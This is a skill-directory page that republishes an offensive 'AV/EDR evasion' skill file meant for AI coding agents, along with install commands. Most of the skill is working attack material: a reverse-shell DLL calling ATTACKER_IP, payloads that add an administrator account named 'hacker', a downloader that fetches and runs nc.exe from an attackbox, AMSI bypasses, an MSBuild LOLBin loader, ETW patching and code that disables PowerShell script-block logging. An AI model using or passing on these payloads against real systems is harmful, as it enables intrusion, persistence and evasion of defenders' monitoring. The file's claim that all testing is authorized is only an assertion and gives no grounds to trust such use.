Strix Code Vulnerability Scan
usestrix/strix
Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.
Bypass antivirus and EDR detection for payload delivery during exploitation.
$ npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install blacklanternsecurity/red-run av-edr-evasion --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/evasion/av-edr-evasion .claude/skills/av-edr-evasion && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "av-edr-evasion" agent skill from https://github.com/blacklanternsecurity/red-run/tree/main/skills/evasion/av-edr-evasion into .claude/skills/av-edr-evasion/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "av-edr-evasion", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/blacklanternsecurity/red-run/tree/main/skills/evasion/av-edr-evasionType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install blacklanternsecurity/red-run av-edr-evasion --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/evasion/av-edr-evasion .agents/skills/av-edr-evasion && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "av-edr-evasion" agent skill from https://github.com/blacklanternsecurity/red-run/tree/main/skills/evasion/av-edr-evasion into .agents/skills/av-edr-evasion/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "av-edr-evasion", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install blacklanternsecurity/red-run av-edr-evasion --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/evasion/av-edr-evasion .cursor/skills/av-edr-evasion && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "av-edr-evasion" agent skill from https://github.com/blacklanternsecurity/red-run/tree/main/skills/evasion/av-edr-evasion into .cursor/skills/av-edr-evasion/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "av-edr-evasion", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/blacklanternsecurity/red-run.git --path skills/evasion/av-edr-evasion--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install blacklanternsecurity/red-run av-edr-evasion --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/evasion/av-edr-evasion .gemini/skills/av-edr-evasion && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "av-edr-evasion" agent skill from https://github.com/blacklanternsecurity/red-run/tree/main/skills/evasion/av-edr-evasion into .gemini/skills/av-edr-evasion/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "av-edr-evasion", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install blacklanternsecurity/red-run av-edr-evasionInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/evasion/av-edr-evasion .github/skills/av-edr-evasion && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "av-edr-evasion" agent skill from https://github.com/blacklanternsecurity/red-run/tree/main/skills/evasion/av-edr-evasion into .github/skills/av-edr-evasion/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "av-edr-evasion", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install blacklanternsecurity/red-run av-edr-evasion --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/evasion/av-edr-evasion .opencode/skills/av-edr-evasion && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "av-edr-evasion" agent skill from https://github.com/blacklanternsecurity/red-run/tree/main/skills/evasion/av-edr-evasion into .opencode/skills/av-edr-evasion/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "av-edr-evasion", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
av-edr-evasionBypass antivirus and EDR detection for payload delivery during exploitation.
Av Edr Evasion is an agent skill from blacklanternsecurity/red-run. Bypass antivirus and EDR detection for payload delivery during exploitation. Covers custom payload compilation (mingw C, Go), AMSI bypass, shellcode alternatives, and ETW patching. Route here when an agent reports a payload was quarantined, blocked, or detected by endpoint protection.
Its SKILL.md is about 5.4k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Penetration testing. The repository describes itself as: Offensive security toolkit for Claude Code. The licence is GPL-3.0.
6 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 050ac1f. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
aptgopython3wgetFrom the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
schemas.microsoft.comFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Av Edr Evasion loads about 5.4k tokens when it runs. Until then it costs about 75 tokens; SKILL.md has 1,573 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check noted patterns worth knowing about, such as sudo or a known installer.
sudo apt install mingw-w64Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from blacklanternsecurity/red-run at commit 050ac1f, republished under its GPL-3.0 licence (© blacklanternsecurity). 1,573 words, ~5,440 tokens.
.claude/skills/av-edr-evasion/SKILL.md (or your agent's skills folder).You are helping a penetration tester bypass AV/EDR that is blocking payload execution during an authorized engagement. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[av-edr-evasion] Activated → <target> to the screen on activation.engagement/evidence/evasion/ with descriptive filenames (e.g.,
custom-dll-winexec-x64.dll, amsi-bypass.ps1).Create the evasion evidence directory if it doesn't exist:
mkdir -p engagement/evidence/evasionThis skill covers payload generation and runtime evasion only. It does NOT cover:
When you have built and optionally verified the bypass payload — STOP. Return to the orchestrator with the artifact path, bypass method, and runtime prerequisites. The orchestrator will re-invoke the original technique skill with your payload.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise novel evasion techniques or write complex custom tooling beyond what's documented below.
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Never download exploits, scripts, or tools directly to the target from the internet. Targets may lack outbound access, and operators must review files before execution on target.
Attackbox-first workflow:
python3 -m http.server 8080 from the directory containing the filewget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file
or curl, certutil, evil-winrm upload, SMB transferContext from the orchestrator (provided in Task prompt):
Attackbox tools:
x86_64-w64-mingw32-gcc / i686-w64-mingw32-gcc — mingw cross-compiler
(apt install mingw-w64)python3 — for struct packing alternativesgo (optional) — for Go cross-compilationCompile payloads to $TMPDIR then move to evidence:
# Compile
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/payload.dll payload.c
# Save evidence
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dllIf not already provided by the orchestrator, determine:
Skip if context was already provided.
| Detection | Indicators | Go to |
|---|---|---|
| Signature (most common) | msfvenom payload, known tool binary, file quarantined on write | Step 2: Custom Payload Compilation |
| AMSI | PowerShell command blocked, "This script contains malicious content" | Step 3: AMSI Bypass |
| Behavioral | Process starts then dies within 1-2 seconds, no file quarantine | Step 4: Alternative Execution Methods |
| Heuristic/ML | Unknown detection, no clear signature match | Step 2 first, then Step 4 if still caught |
| ETW/Logging | Need to reduce telemetry before executing payload | Step 5: ETW Patching |
When signature detection catches msfvenom or known tool binaries, compile custom payloads from C source. These work because they call legitimate Win32 APIs directly — no encoded shellcode buffer, no decoder stub, no msfvenom signature patterns.
For service abuse, DnsAdmins, DLL hijacking, or any technique needing a DLL.
Simplest and most reliable. Executes a single command when DllMain is called.
// payload.c — Custom DLL with command execution
// Compile: x86_64-w64-mingw32-gcc -shared -o payload.dll payload.c
// For 32-bit: i686-w64-mingw32-gcc -shared -o payload.dll payload.c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Replace with actual command — e.g., add admin user, reverse shell
WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
}
return TRUE;
}Common command payloads:
Add local admin:
cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /addPowerShell reverse shell (if AMSI is not blocking):
powershell.exe -nop -w hidden -e <BASE64_ENCODED_REVSHELL>Certutil download + execute:
cmd.exe /c certutil -urlcache -split -f http://ATTACKBOX:8080/nc.exe C:\\Windows\\Temp\\nc.exe && C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKBOX PORTFor DLL injection scenarios where DllMain must return quickly (the calling process hangs if DllMain blocks). Spawns reverse shell in a new thread.
// revshell.c — Non-blocking reverse shell DLL
// Compile: x86_64-w64-mingw32-gcc -shared -o revshell.dll revshell.c -lws2_32
#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Change these to match your listener
#define ATTACKER_IP "10.10.14.1"
#define ATTACKER_PORT 4444
DWORD WINAPI ReverseShell(LPVOID lpParam) {
WSADATA wsa;
SOCKET sock;
struct sockaddr_in addr;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2, 2), &wsa);
sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(ATTACKER_PORT);
addr.sin_addr.s_addr = inet_addr(ATTACKER_IP);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return 1;
}
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sock);
WSACleanup();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);
}
return TRUE;
}Compilation:
# x64
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32
# x86
i686-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32
# Move to evidence
mv $TMPDIR/revshell.dll engagement/evidence/evasion/revshell.dllAlternative toolchain when mingw payloads are still caught or when Go is preferred. Go binaries have different signatures than C/mingw.
// payload.go — Go DLL with command execution
// Build: CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
// go build -buildmode=c-shared -ldflags="-s -w" -o payload.dll payload.go
package main
import "C"
import (
"os/exec"
)
//export DllMain
func DllMain() {
cmd := exec.Command("cmd.exe", "/c", "net user hacker Password123! /add && net localgroup administrators hacker /add")
cmd.Run()
}
func main() {}Build:
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
go build -buildmode=c-shared -ldflags="-s -w" -o $TMPDIR/payload.dll payload.go
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dllFor service binpath abuse, direct execution, scheduled tasks.
// payload_exe.c — Custom EXE with command execution
// Compile: x86_64-w64-mingw32-gcc -o payload.exe payload_exe.c
#include <windows.h>
int main() {
WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
return 0;
}Downloads and executes a second-stage payload. Useful when you need a larger tool on target but don't want to compile it into the binary.
// downloader.c — Downloads a file from attackbox and executes it
// Compile: x86_64-w64-mingw32-gcc -o downloader.exe downloader.c -lurlmon
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon")
int main() {
// Download second stage from attackbox
URLDownloadToFileA(NULL,
"http://ATTACKBOX:8080/nc.exe",
"C:\\Windows\\Temp\\svc.exe",
0, NULL);
// Execute
WinExec("C:\\Windows\\Temp\\svc.exe -e cmd.exe ATTACKBOX PORT", 0);
return 0;
}msfvenom payloads are caught because AV vendors signature their decoder stubs, shellcode patterns, and PE structure. Custom C payloads:
WinExec() / CreateProcess() directly — legitimate Win32 API calls.text sectionVirtualAlloc + memcpy shellcode loaderThis is not obfuscation — it's just writing normal C code that does what you need instead of using a tool whose output is universally signatured.
When PowerShell or .NET-based tools are blocked by the Antimalware Scan Interface. AMSI intercepts script content before execution and sends it to the AV engine for scanning.
Forces AMSI to think initialization failed, so it skips all scanning.
# Reflection-based AMSI bypass (one-liner)
# Sets the amsiInitFailed field to True via reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)If the above is caught (the string "AmsiUtils" itself is flagged), use concatenation to break the signature:
# Obfuscated variant — breaks known string signatures
$a = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
$b = $a.GetField('am'+'siIn'+'itFailed','NonPublic,Static')
$b.SetValue($null,$true)Patches the AmsiScanBuffer function in memory to always return clean.
# AmsiScanBuffer memory patch
# Overwrites the function's first bytes to return AMSI_RESULT_CLEAN
$w = 'System.Management.Automation.Am' + 'siUtils'
$t = [Ref].Assembly.GetType($w)
$m = $t.GetField('amsiContext','NonPublic,Static')
$ptr = $m.GetValue($null)
# Load amsi.dll and find AmsiScanBuffer
$amsi = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.Location -like '*amsi*' } |
Select-Object -First 1
)Force PowerShell v2 which doesn't have AMSI (requires .NET 2.0 installed):
powershell.exe -version 2 -command "<your command>"Note: PowerShell v2 is often removed on modern systems. Check with:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2After applying any AMSI bypass, verify it works:
# This string normally triggers AMSI — if bypass worked, it returns without error
"amsiutils"
# Or try loading a tool that was previously blocked
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKBOX:8080/tool.ps1')When behavioral detection blocks the execution pattern — the payload file survives on disk but gets killed at runtime, or the execution method itself is monitored.
Use legitimate Windows binaries to execute payloads (Living Off the Land):
MSBuild inline task (executes C# without dropping a standalone EXE):
<!-- payload.csproj — save to target, execute with: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Diagnostics;
public class ClassExample : Task, ITask {
public override bool Execute() {
Process.Start("cmd.exe", "/c YOUR_COMMAND_HERE");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>InstallUtil (executes .NET assembly via uninstall handler):
# Compile a .NET assembly with an [RunInstaller] class, then:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dllRundll32 (execute exported function from custom DLL):
# If your DLL exports a function named "Run":
rundll32.exe payload.dll,RunWhen direct HTTP download is blocked but certutil is available:
# Download via certutil (base64 encode first on attackbox)
certutil -urlcache -split -f http://ATTACKBOX:8080/payload.exe C:\Windows\Temp\payload.exe
# Or decode from base64 if HTTP is blocked:
# On attackbox: base64 payload.exe > payload.b64
# Transfer payload.b64 to target, then:
certutil -decode payload.b64 C:\Windows\Temp\payload.exeIf CLM blocks PowerShell execution:
# Check if CLM is active
$ExecutionContext.SessionState.LanguageMode
# If "ConstrainedLanguage", try:
# Option 1: Use cmd.exe instead of PowerShell
cmd.exe /c "command here"
# Option 2: Use MSBuild inline task (above) — not subject to CLM
# Option 3: Use PowerShell v2 (if available) — no CLM enforcement
powershell.exe -version 2When you need to reduce telemetry before executing a payload. ETW (Event Tracing for Windows) feeds data to EDR agents and Windows logging.
Patch EtwEventWrite to prevent ETW events from being generated:
# ETW bypass — patch EtwEventWrite to return immediately
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1] -eq 'System.dll' }
)
# Note: Full implementation depends on architecture and .NET version
# The concept: overwrite EtwEventWrite's first bytes with "ret" (0xC3).NET ETW bypass (prevents .NET runtime from generating ETW events):
# Disable .NET ETW tracing
[Reflection.Assembly]::LoadWithPartialName('System.Core')
$etwType = [System.Diagnostics.Tracing.EventSource]
# Patch internal tracing flagScript block logging evasion (prevents PowerShell commands from being logged to event log 4104):
# Disable script block logging for this session
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
$settings['ScriptBlockLogging'] = @{}
$settings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$settings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0Before returning the payload to the orchestrator, verify it survives on target if possible (requires existing access to the target).
dir C:\Windows\Temp\payload.dllIf AMSI bypass was applied:
# This string is a known AMSI test trigger
"AmsiUtils"
# If no error → bypass is working
# Then test the actual tool/script that was blockedVerify only that the artifact survives on disk. Do NOT execute the exploit or the payload's intended function. The original technique skill handles exploitation. Your job is to deliver a payload that won't be caught.
After building and optionally verifying the bypass, STOP and return to the orchestrator with:
Return format:
## Evasion Results: <target> (<original-technique>)
### Detection Assessment
- Blocked payload: <what was caught>
- AV/EDR: <product>
- Detection type: <signature/behavioral/AMSI/heuristic>
### Bypass Built
- Artifact: engagement/evidence/evasion/<filename>
- Method: <e.g., "mingw C DLL with WinExec, no shellcode">
- Architecture: <x64/x86>
- Verified on target: <yes/no>
### Runtime Prerequisites
- <e.g., "Run AMSI bypass first", "None", "Transfer nc.exe for reverse shell">
### Evidence
- engagement/evidence/evasion/<filename>The orchestrator will re-invoke the original technique skill with your payload and instructions.
sudo apt install mingw-w64Verify: x86_64-w64-mingw32-gcc --version
Check target architecture. 64-bit Windows can run 32-bit EXEs but DLLs must
match the loading process architecture. Use systeminfo output from the
target:
x86_64-w64-mingw32-gcci686-w64-mingw32-gcc
For DLLs loaded by a specific process, check the process architecture with
tasklist /v on target.Some aggressive AV heuristics flag DLLs with WinExec or CreateProcess in
the import table. Options:
system() instead of WinExec() — different importGetProcAddress:typedef UINT (WINAPI *pWinExec)(LPCSTR, UINT);
pWinExec fWinExec = (pWinExec)GetProcAddress(GetModuleHandleA("kernel32.dll"), "WinExec");
fWinExec("cmd.exe /c command", 0);Microsoft patches AMSI bypass techniques periodically. If one variant fails:
CLM prevents most .NET reflection and type access. Options:
list_sessions() via shell-server MCPping ATTACKBOX from target (if ICMP allowed)Get-AppLockerPolicy -Effective -XmlC:\Windows\Temp\, user profile dirs© blacklanternsecurity, GPL-3.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/evasion/av-edr-evasion of blacklanternsecurity/red-run.
Open the folder on GitHubat commit 050ac1f
Av Edr Evasion next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Av Edr Evasion this skillblacklanternsecurity/red-run | 287 | — | ~5.4k | Automated safety check: Notes | GPL-3.0 | |
| Strix Code Vulnerability Scanusestrix/strix | 68k | — | ~1.1k | Automated safety check: Pass | Apache-2.0 | |
| Code Audit3stoneBrother/code-audit | 892 | 1 repos | ~2.7k | Automated safety check: Pass | None | |
| Fix Strix Security Findingsusestrix/strix | 68k | — | ~1.5k | Automated safety check: Pass | Apache-2.0 | |
| Metabigor OSINT Reconj3ssie/metabigor | 1.9k | — | ~2.4k | Automated safety check: Pass | MIT | |
| Wooyun Legacytanweai/wooyun-legacy | 1.8k | — | ~1.9k | Automated safety check: Pass | Custom licence |
usestrix/strix
Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.
3stoneBrother/code-audit
Professional code security audit skill covering 55+ vulnerability types.
usestrix/strix
Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.
j3ssie/metabigor
Operates the metabigor CLI to map a target's network ranges, subdomains, ports, related domains, CDNs and archived URLs from free sources without API keys.
tanweai/wooyun-legacy
WooYun business logic vulnerability methodology — 22,132 real cases across 6 domains (authentication bypass, authorization bypass, payment tampering, information disclosure, logic flaws…
usestrix/strix
Runs Strix's autonomous exploit agents against each OWASP Top 10:2025 category and the API Security Top 10, reporting only what could actually be proven with a proof-of-concept.
blacklanternsecurity/red-run
Security-focused source code review. An agent skill from blacklanternsecurity/red-run.
blacklanternsecurity/red-run
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection.
blacklanternsecurity/red-run
Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery.
blacklanternsecurity/red-run
SMB share enumeration, access testing, password policy extraction, and content searching.
blacklanternsecurity/red-run
Enumerates Active Directory trust relationships and exploits them for cross-domain and cross-forest privilege escalation.
Categories
Bypass antivirus and EDR detection for payload delivery during exploitation. Av Edr Evasion is an agent skill from blacklanternsecurity/red-run. Bypass antivirus and EDR detection for payload delivery during exploitation.
Av Edr Evasion fits situations like: tasks that involve Penetration testing.
Run `npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a claude-code`. Or copy the skill folder (skills/evasion/av-edr-evasion in blacklanternsecurity/red-run) into .claude/skills/av-edr-evasion in your project. Claude Code loads it when a task matches its description.
Run `npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a codex`. Or copy the skill folder (skills/evasion/av-edr-evasion in blacklanternsecurity/red-run) into .agents/skills/av-edr-evasion in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add blacklanternsecurity/red-run --skill av-edr-evasion -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/av-edr-evasion, .gemini/skills/av-edr-evasion, .github/skills/av-edr-evasion and .opencode/skills/av-edr-evasion in your project.
Going by SKILL.md and its folder, Av Edr Evasion needs the command-line tools its instructions call (apt, go, python3 and wget). Our summary lists: Python 3.
SKILL.md names 1 domain. In commands or code: schemas.microsoft.com; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found notes only (runs commands with sudo), nothing it rates as a warning. It is not a guarantee. Review the folder before installing.
Av Edr Evasion is published under the GPL-3.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 5.4k tokens (SKILL.md is roughly 22k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Av Edr Evasion: Strix Code Vulnerability Scan (usestrix/strix, 68k stars), Code Audit (3stoneBrother/code-audit, 892 stars), Fix Strix Security Findings (usestrix/strix, 68k stars) and Metabigor OSINT Recon (j3ssie/metabigor, 1.9k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
blacklanternsecurity (a GitHub organization) maintains it in blacklanternsecurity/red-run, which has 287 GitHub stars. The repository holds 6 skills in this directory. The repository was last updated on September 28, 2026.
Source: blacklanternsecurity/red-run on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.